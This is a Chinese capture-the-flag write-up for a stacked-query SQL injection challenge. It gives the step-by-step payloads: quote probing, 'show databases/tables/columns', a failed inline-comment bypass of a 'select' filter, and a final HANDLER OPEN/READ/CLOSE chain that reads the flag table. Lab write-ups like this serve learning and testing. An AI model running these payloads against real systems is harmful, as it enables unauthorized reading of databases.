打开题目之后
是有一个1,我们查询之后会发现出现以上页面,我们再试一下1'
报错,说明存在注入 ,我们再试一下0
0是没有任何回显,也就说0不会报错
下面我们继续输入1';show databases;#
我们继续查表1';show tables;#
看到特殊flaghere字符,我们就先查它
1';show columns from FlagHere;#
看到flag,我们就继续查
1'; select flag from FlagHere;#
发现select被过滤了,我们试一下内联注释
1'; sel/**/ect flag from FlagHere;#
和输入1的时候是一样的,看了wp之后发现其他的方法,运用HANDLER 语句
HANDLER 语句提供对表存储引擎接口的直接访问。它可用于 InnoDB 和 MyISAM 表。
HANDLER … OPEN 语句打开一个表,后续的 HANDLER … READ 语句可以访问它。此表对象不被其他会话共享,并且直到调用 HANDLER … CLOSE 或者会话终止才会关闭。
如果使用别名打开表,使用其他 HANDLER 语句对打开的表的进一步引用必须使用别名,而不是表名。如果不使用别名,但使用由数据库名称限定的表名打开表,则进一步的引用必须使用不限定的表名。例如,使用 mydb.mytable 打开的表,进一步引用必须使用 mytable。
然后我们执行语句,实现直接访问
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
open是打开,read是开始读取的意思,close是结束的意思
然后我们就可以拿到我们的答案了。